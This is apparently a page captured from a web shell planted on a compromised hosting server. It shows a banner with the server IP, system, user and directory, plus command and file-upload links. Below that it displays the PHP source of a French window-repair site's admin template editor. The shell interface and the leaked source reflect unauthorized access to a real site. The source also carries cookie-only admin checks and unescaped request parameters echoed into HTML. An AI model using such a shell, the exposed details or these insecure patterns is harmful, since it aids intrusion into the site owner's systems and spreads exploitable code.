|
Server IP : 10.111.40.2 / Your IP : 216.73.217.145 Web Server : Apache System : Linux webd002.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : comimage ( 586) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/comimage/allososvitrerie.com/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
//print_r($_GET);exit;
require(dirname(__FILE__).'/../inc/tools/configuration.php');
if($_GET['model_p'] == "p"){
if($_GET['iddiv'] > 0){
$web = $metier->getTable($bdd,TABLE_PAGES_WEB,"id",minuscule($_GET['iddiv']));
$div_CSS = $web->div;
}
else{
$compter_txt = $metier->compter($bdd,TABLE_PAGES_WEB,"","","all");
$div_CSS = "container-page-".($compter_txt+1);
}
$lien_annulation = "editermespages.php";
$table = TABLE_PAGES_WEB;
$gestionpage = $web->page;
}
else{
if($_GET['iddiv'] > 0){
$web = $metier->getTable($bdd,TABLE_BLOG,"id",minuscule($_GET['iddiv']));
$div_CSS = $web->div;
}
else{
$compter_txt = $metier->compter($bdd,TABLE_BLOG,"","","all");
$div_CSS = "container-article-".($compter_txt+1);
}
$lien_annulation = "blog.php";
$table = TABLE_BLOG;
$gestionpage = $web->titre;
}
if($_GET['gab'] == 1 && $_GET['model'] == 1){
$libelle_BT = "terminer";
}
else{
$libelle_BT = "continuer";
}
?>
<!DOCTYPE html>
<html lang="<?php echo LANGUAGE; ?>">
<head>
<title>Panneau d'administration</title>
<meta name="description" content=""/>
<meta name="keywords" content=""/>
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;" />
<meta charset="UTF-8"/>
<?php echo ADMIN_JQUERY; ?>
<?php echo ADMIN_JAVASCRIPT; ?>
<?php echo ADMIN_CSS; ?>
<?php echo ROBOTS_NOFOLLOW; ?>
<script type="text/javascript">
function CocheTout(ref, name) {
var form = ref;
while (form.parentNode && form.nodeName.toLowerCase() != 'form'){
form = form.parentNode;
}
var elements = form.getElementsByTagName('input');
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == 'checkbox' && elements[i].name == name) {
elements[i].checked = ref.checked;
}
}
}
</script>
<?php
if($web->editeur_off == 0){
?>
<?php echo TINYMCE; ?>
<script type="text/javascript">
tinymce.init({
selector: "textarea.to-tiny",theme: "modern",
height : 400,
language : 'fr_FR',
plugins: [
"advlist autolink link image imagetools lists charmap print preview hr anchor pagebreak",
"searchreplace wordcount visualblocks visualchars insertdatetime media nonbreaking",
"table contextmenu directionality emoticons paste textcolor colorpicker responsivefilemanager code"
],
toolbar1: "undo redo | link unlink anchor | image media | bold italic underline | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | responsivefilemanager | forecolor backcolor | print preview code ",
toolbar2: "",
image_advtab: true ,
<?php echo $metier->listLinktiny($bdd); ?>
target_list: [
{title: 'None', value: ''},
{title: 'Nouvelle onglet', value: '_blank'}
],
link_class_list: [
{title: 'None', value: ''},
{title: 'Fancybox', value: 'fancybox'}
],
rel_list: [
{title: 'None', value: ''},
{title: 'Nofollow', value: 'nofollow'},
{title: 'Lightbox', value: 'lightbox'},
{title: 'Groupe', value: 'groupe'},
{title: 'Groupe 2', value: 'groupe2'}
],
relative_urls: false,
remove_script_host: false,
filemanager_title:"Responsive Filemanager",
imagetools_toolbar: "rotateleft rotateright | flipv fliph | editimage imageoptions",
filemanager_crossdomain: true,
external_filemanager_path:"<?php echo HTTP_ADMIN; ?>tools/filemanager/",
external_plugins: { "filemanager" : "<?php echo HTTP_ADMIN; ?>tools/filemanager/plugin.min.js"}
});
</script>
<?php
}
?>
</head>
<body>
<div id="admin">
<?php
if($_COOKIE['admin'] and $_COOKIE['admin'] == COOKIE_ADMIN){
include("inc-menu.php");
echo '<div class="admin-container"><div class="admin-inner">';
echo '<h1>Panneau d\'administration</h1>';
if($_GET['step'] == 1){
//choisir si le corps de page est unique ou explosé en blocs
echo "<h2>[Sélectionner un modèle]</h2>";
?>
<p style="text-align:center;margin:7px 0px;"><img src="images/etape2.jpg"/></p>
<p style="text-align: center;margin-bottom:7px;"><a href="./gabarit.php?model_p=<?php echo $_GET['model_p'];?>&iddiv=<?php echo $_GET['iddiv'];?>&template=<?php echo $_GET['template']; ?>&parent=<?php echo $_GET['parent'];?>" style="color: red;text-decoration: underline;"><img src="images/gabarit-<?php echo $_GET['gab'];?>.jpg" style="width:100px;height:100px;"/></a></p>
<?php
include("inc-gabarit-1.php");
}
elseif($_GET['step'] == 2){
//rédaction
echo "<h2>[Créer/modifier sa page]</h2>";
?>
<p style="text-align:center;margin:7px 0px;"><img src="images/etape3.jpg"/></p>
<?php
if($_COOKIE['apseudo'] == "sadmin"){
?>
<table style="margin: auto;">
<tr>
<td style="padding: 5px;text-align: center;"><a href="./gabarit.php?model_p=<?php echo $_GET['model_p'];?>&iddiv=<?php echo $_GET['iddiv'];?>&template=<?php echo $_GET['template'];?>"><img src="images/gabarit-<?php echo $_GET['gab'];?>.jpg" style="width:100px;height:100px;"/></a></td>
<td style="padding: 5px;text-align: center;"><a href="./gabarit.php?model_p=<?php echo $_GET['model_p'];?>&step=1&gab=<?php echo $_GET['gab'];?>&iddiv=<?php echo $_GET['iddiv'];?>&template=<?php echo $_GET['template'];?>&parent=<?php echo $_GET['parent'];?>"><img src="images/modele<?php echo $_GET['model'];?>.jpg" style="width:160px;height:100px;"/></a></td>
</tr>
</table>
<?php
}
$protection = pagesWebProtegees();
echo '<div class="encadre">';
include("inc-gabarit-add.php");
echo '</div>';
}
elseif($_GET['step'] == 3) {
//sélection corps page multiple ou ajout texte colonne?
echo "<h2>[Ajouter/modifier du contenu]</h2>";
?>
<p style="text-align:center;margin:7px 0px;"><img src="images/etape3.jpg"/></p>
<table style="margin: auto;">
<tr>
<td style="padding: 5px;text-align: center;"><a href="./gabarit.php?model_p=<?php echo $_GET['model_p'];?>&iddiv=<?php echo $_GET['iddiv'];?>&template=<?php echo $_GET['template'];?>&parent=<?php echo $_GET['parent'];?>"><img src="images/gabarit-<?php echo $_GET['gab'];?>.jpg" style="width:100px;height:100px;"/></a></td>
<td style="padding: 5px;text-align: center;">
<?php //if ($web->template == 0): ?>
<a href="./gabarit.php?model_p=<?php echo $_GET['model_p'];?>&step=1&gab=<?php echo $_GET['gab'];?>&iddiv=<?php echo $_GET['iddiv'];?>&template=<?php echo $_GET['template'];?>&parent=<?php echo $_GET['parent'];?>"><img src="images/modele<?php echo $_GET['model'];?>.jpg" style="width:160px;height:100px;"/></a>
<?php //else: ?>
<?php //endif ?>
</td>
</tr>
</table>
<?php
if($_GET['do'] == "mod_contenu_suppl" || $_GET['do'] == "add_contenu_supp" || $_GET['do'] == "mod_contenu"){
//ajouter/modifier un contenu suppl. & contenu
if($_GET['do'] == "mod_contenu_suppl"){
$contents = $metier->getTable($bdd,TABLE_CONTENUS_SUPPL,"id",minuscule($_GET['idcs']));
$description = $contents->contenu;
$div = normaliserDIV($div_CSS,$_GET['nature'],$contents->id);
}
elseif($_GET['do'] == "mod_contenu"){
if($_GET['model_p'] == "p"){
$contents = $metier->getTable($bdd,TABLE_PAGES_WEB,"id",minuscule($_GET['iddiv']));
}
else{
$contents = $metier->getTable($bdd,TABLE_BLOG,"id",minuscule($_GET['iddiv']));
}
$description = $contents->article;
$div = $div_CSS;
}
else{
$description = "";
$div = "";
}
include("inc-gabarit-add-contenu.php");
}
elseif($_GET['do'] == "del_contenu_suppl"){
//supprimer un contenu suppl.
$metier->deleteUnElement($bdd,TABLE_CONTENUS_SUPPL,"id",minuscule($_GET['idcs']));
msg("Element supprimé !", "ok");
redirection(1,$_SERVER['HTTP_REFERER']);
}
elseif($_GET['do'] == "del_assoc_bloc"){
//supprimer une association bloc/contenu
$metier->deleteUnElement($bdd,TABLE_ASSOCIER_BLOC,"id",minuscule($_GET['id']));
msg("Element supprimé !", "ok");
redirection(1,$_SERVER['HTTP_REFERER']);
}
else{
$height = 800;
if($web->id > 0){
if($web->categorie > 0){
//article
$url = HTTP_SERVEUR.'<strong>article-'.urlRewriting($web->titre).'-'.$web->id.'.php</strong>';
}
else{
$url = ($web->id != 1)?HTTP_SERVEUR.'<strong>'.urlRewriting($web->page).'-'.$web->id.'.php</strong>':'<strong>'.HTTP_SERVEUR.'</strong>';
}
?>
<p style="font-style:italic;background-color: #E3E3E3;padding: 3px;border-radius:5px;margin:5px 0px;">Lien : <?php echo $url; ?></p>
<?php
}
include("inc-gabarit-listing-elements.php");
}
}
else{
if($_GET['do'] == "del_ads"){
if($web->id > 0){
$metier->delAds($bdd,$web);
msg("Page supprimée ainsi que ses éléments : colonnes, blocs, etc... associés !", "info");
redirection(1,$_SERVER['HTTP_REFERER']);
}
else{
msg("Nous sommes désolés mais vous ne pouvez pas supprimer cet élément !", "error");
redirection(1,$_SERVER['HTTP_REFERER']);
}
}
else{
//défaut
echo "<h2>[Sélectionner un gabarit]</h2>";
echo '<p style="text-align:center;margin:7px 0px;"><img src="images/etape1.jpg"/></p>';
include("inc-gabarit.php");
//*** CREATION DE MODELES ***
if($_GET['swt'] == "add"){
include("inc-formulaire-creation-modele.php");
}
}
}
echo '</div></div>';
}
else{
echo loginAdmin();
}
?>
</div>
</body>
</html>